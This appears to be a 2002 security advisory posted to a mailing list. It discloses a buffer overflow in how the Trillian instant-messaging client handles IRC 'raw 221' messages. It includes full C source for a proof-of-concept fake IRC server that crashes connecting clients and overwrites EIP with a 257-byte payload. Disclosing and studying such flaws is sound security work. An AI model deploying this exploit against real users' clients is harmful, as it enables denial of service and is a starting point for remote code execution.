And Again. Trillian 'raw 221' Overflow.

["Lance Fitz-Herbert" <fitzies () hotmail com>]

Discovered:
-----------
02 September 2002 By Me, Lance Fitz-Herbert (aka phrizer).


Vulnerable Applications:
------------------------
Tested On Trillian .73 and .74, But im guessing older versions are also 
vulnerable.


Impact:
-------
Medium-High. This could allow arbitary code to be executed on the remote 
victims machine, or just used as a DoS.


Details:
--------
Trillian is a popular Instant Messageing client, which supports 
icq/aim/yahoo/msn and IRC.
An overflow exists in the way Trillian procceses raw 221, which is the user 
mode raw. If Trillian receives a raw 221 with more than 251 bytes as the 
mode, it will crash and overwrite registers. EIP is completly overwriten 
when sent 257 bytes.

To exploit this, the victim needs to be connected to the attackers 'IRC 
Server'.


Solution:
---------
None that i know of. Just dont go on untrusted IRC Server. :P


Exploit:
--------
Proof of flaw DoS Code, (will overwrite EIP with 0x41414141):

/* Trillian-221.c
  Author: Lance Fitz-Herbert
  Contact: IRC: Phrizer, DALnet - #KORP
           ICQ: 23549284

  Exploits the Trillian "Raw 221" Flaw.
  Tested On Version .74 and .73
  Compiles with Borland 5.5 Commandline Tools.

  This Example Will Just DoS The Trillian Client,
  not particularly useful, just proves the flaw exists.

  Greets: AnAh, Hooves.
*/

#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <winsock.h>

SOCKET s;

#define MSG1 ":server 221 target "

int main() {

        SOCKET TempSock = SOCKET_ERROR;
        WSADATA WsaDat;
        SOCKADDR_IN Sockaddr;
        int nRet;
        char payload[257];

        printf("\nTrillian Raw 221 Flaw\n");
        printf("---------------------\n");
        printf("Coded By Lance Fitz-Herbert (Phrizer, DALnet/#KORP)\n");
	printf("Tested On Version .74 and .73\nListening On Port 6667 For 
Connections\n\n");

        if (WSAStartup(MAKEWORD(1, 1), &WsaDat) != 0) {
        printf("ERROR: WSA Initialization failed.");
                return 0;
        }


        /* Create Socket */
        s = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
        if (s == INVALID_SOCKET) {
                printf("ERROR: Could Not Create Socket. Exiting\n");
                WSACleanup();
                return 0;
        }

        Sockaddr.sin_port = htons(6667);
        Sockaddr.sin_family = AF_INET;
        Sockaddr.sin_addr.s_addr  = INADDR_ANY;


       nRet = bind(s, (LPSOCKADDR)&Sockaddr, sizeof(struct sockaddr));
        if (nRet == SOCKET_ERROR) {
                printf("ERROR Binding Socket");
                WSACleanup();
                return 0;
        }

        /* Make Socket Listen */
        if (listen(s, 10) == SOCKET_ERROR) {
                printf("ERROR: Couldnt Make Listening Socket\n");
                WSACleanup();
                return 0;
        }

        while (TempSock == SOCKET_ERROR) {
              TempSock = accept(s, NULL, NULL);
        }

        printf("Client Connected, Sending Payload\n");

        send(TempSock,MSG1,strlen(MSG1),0);
        memset(payload,'A',257);
        send(TempSock,payload,strlen(payload),0);
        send(TempSock,"\n",1,0);

        printf("Exiting\n");
        sleep(100);
        WSACleanup();
        return 0;
}

----
NOTE: Because of the amount of spam i receive, i require all emails directed 
*to me* to contain the word "nospam" in the subject line somewhere. Else i 
might not get your email. thankyou.
----














_________________________________________________________________
Send and receive Hotmail on your mobile device: http://mobile.msn.com